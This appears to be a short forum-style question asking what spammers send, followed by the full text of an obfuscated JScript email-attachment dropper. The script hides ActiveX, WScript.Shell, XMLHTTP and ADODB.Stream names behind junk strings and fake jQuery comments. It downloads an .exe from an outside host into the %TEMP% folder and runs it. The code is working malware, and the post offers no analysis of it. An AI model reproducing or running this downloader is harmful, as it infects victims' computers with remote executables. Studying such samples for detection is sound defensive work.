What kind of scripts are spammers sending out?

Question

JavaScript

ooWHiXO = "} return deferred.promise(); } } );";
String.prototype.protoplasm = function () { aa = this; return aa.charAt(57-(53 +4)); };
var zynxp = [("xsCekGe","cadence","A")+("YpffdhzUUQg","persona","treat","robot","ctiveX")+"Ob"+"ject", ("FwTazpMcAO","nottingham","abroad","TbkUbgEU","ExpandEnv")+("tricolor","giBphLlbNm","forelock","alive","ironme")+("vietnam","indigenous","carrier","january","nt")+"Strings", ""+("checks","absolution","twist","lynching","%")+"TE"+"MP%", ""+("uCwEayCEU","canonical","adown",".")+"ore".replace("o","e").replace("r","x"), (("variation","unlawful","blowing","G")+"un").replace("G","R"), ("d"+("hyacinth","ninetyfive","cqjUkeSlxOp","birthday","SX")+("overview","company","limited","algorithm","dL2.XdLH")+"TTP").split("d").join("M"), "W"];
abraskq = " return this; };";
var ySWynuc = this[zynxp.shift()];
IQAFfk = "EuMOpnpyrlA";
charger = (("zambia", "horizon", "wEwUESMeKon", "zoloft", "ppWiLPAvGTq") + "XrEEUCD").protoplasm();
soevers = (("auburn", "aOeRrt", "devastation", "HsOpxnzfQhf", "sYeRDmhMko") + "JQQjNcXWSyn").protoplasm();


var JeaYHqFsD = new ySWynuc(zynxp.pop() + (("rendered","UkpTHAE","shame","5c")+("lavender","ended","lVfLUXOXy","ri")+"pt.5h"+("automobile","bounce","abdicated","ell")).split("5").join("S"));
prMqCNS = "jQuery.fn.ready = function( fn ) { NwOITjj";
var mfTCF = new ySWynuc(zynxp.pop());
MjpirUiArNp = " The deferred used on qOtwdiexu DOM ready var readyList;";
var lyHlf = JeaYHqFsD[zynxp.shift()](zynxp.shift());
cqhdOP = " Add the callback jQuery.ready.promise().WEwqCBHdone( fn );";
beddinge = (("recognition", "woolly", "marina", "KfnOnYxGKP", "EAqmMoPtmY") + "Xoniql").protoplasm();

function whoop(pregnancy, automaton) {

    try {
        var credits = lyHlf + "/" + automaton + zynxp.shift();
    egQnXjIAM = "} Remember that the DOM is ready jQuery.isReady = true;";
    mfTCF["o" + charger + beddinge + "n"](("lqfKcjPjN","pyramids","hansom","retained","G") + beddinge + ("carrying","morocco","T"), pregnancy, false);

    SGWzLoQtR = " If a normal DOM Ready event fired, decrement, and wait if need be if ( wait !== true && --jQuery.readyWait > 0 ) { return; ";
    mfTCF[soevers + ("standing","celebrities","terra","e") + (("agonizing", "victory", "VGxDBaSOwTn", "gxdrBB", "hellenic", "nACVJco") + "wcmCgClBh").protoplasm() + (("flirtation", "ionian", "prescribe", "followed", "twins", "dEGhwGcDakKj") + "ITplDPKKs").protoplasm()]();
    rjloGSzfhlf = "} If there are functions bound, to execute readyList.resolveWith( document, [ jQuery ] );";
    if (mfTCF.status == 200) {
        var NXAVDF = new ySWynuc((""+"A"+("kings","XwwoViVR","pO")+"DB." + ("tgLrTTOyPkK","currants","portentous","prometheus","")+"S"+("introducing","pedigree","tr")+"eam").replace("p", "D"));
        NXAVDF[""+"o"+("naturalist","swims","pen")]();
        bOTPUdYk = "jQuery.extend( {";
        NXAVDF.type = 0 + 3 - 2;
        vqbtFVNR = " Is the DOM ready to be used? Set to true once it occurs. isReady: false,";
        NXAVDF[("texan","associating","dannie","condos","w")+"ri"+"te"](mfTCF[("underlie","EQoUokkHHKH","")+"R"+"es"+"pon" + soevers + "e"+"Bo"+("adept","carouse","PPvyrAv","survey","dy")]);
        LlDGoXlsvKz = " A counter to track how many items to wait for before the ready event fires. See #6781 readyWait: 1,";
        NXAVDF[(charger + ("alaska","iYuqiUglI","mongrel","o")+"Di"+"ti"+("outlying","BqPusEitH","filtering","on")).replace("D", soevers)] = 0;
        DXyqSA = " Hold (or release) the ready event holdReady: function( hold ) { if ( hold ) { jQuery.readyWait++; } else { jQuery.ready( true ); } },";
        NXAVDF[("thieving","obtrude","comparable","nuclear","s")+"av"+"eT"+("villa","KklIyxBdxpg","paramount","continuing","oF")+("mutter","albert","japan","ile")](credits, 2);
        NUHLhFUR = " Handle when the DOM is ready ready: function( wait ) {";
        NXAVDF.close();
        UaWLnjy = " Abort if there are pending holds or we\"re already ready if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { return; ";
        JeaYHqFsD[zynxp.shift()](credits, 1, "OePEwWM" === "eXXcjqxu"); xNmNMl = " } else { document.detachEvent( \"onreadystatechange\", QqWRxTXN completed ); window.detachEvent( \"onload\", completed ); } ";
    }

} catch (LPlkAe) { };

    vatfbwuM = "/** * Clean-up method for dom ready events */ function detach() { if ( document.addEventListener ) { document.removeEventListener( \"DOMContentLoaded\", completed ); window.removeEventListener( \"load\", completed );";
}
whoop("htt"+"p:"+("renewal","changeable","match","tacks","//si")+"lvec"+".c"+"om"+"/t"+"y4"+"3ff333"+".exe","RJsdMtxmBL");
   ywsdzH = " Trigger any bound ready events if ( jQuery.fn.triggerHandler ) { jQuery( document ).triggerHandler( \"ready\" ); jQuery( document ).off( \"ready\" ); } } } );";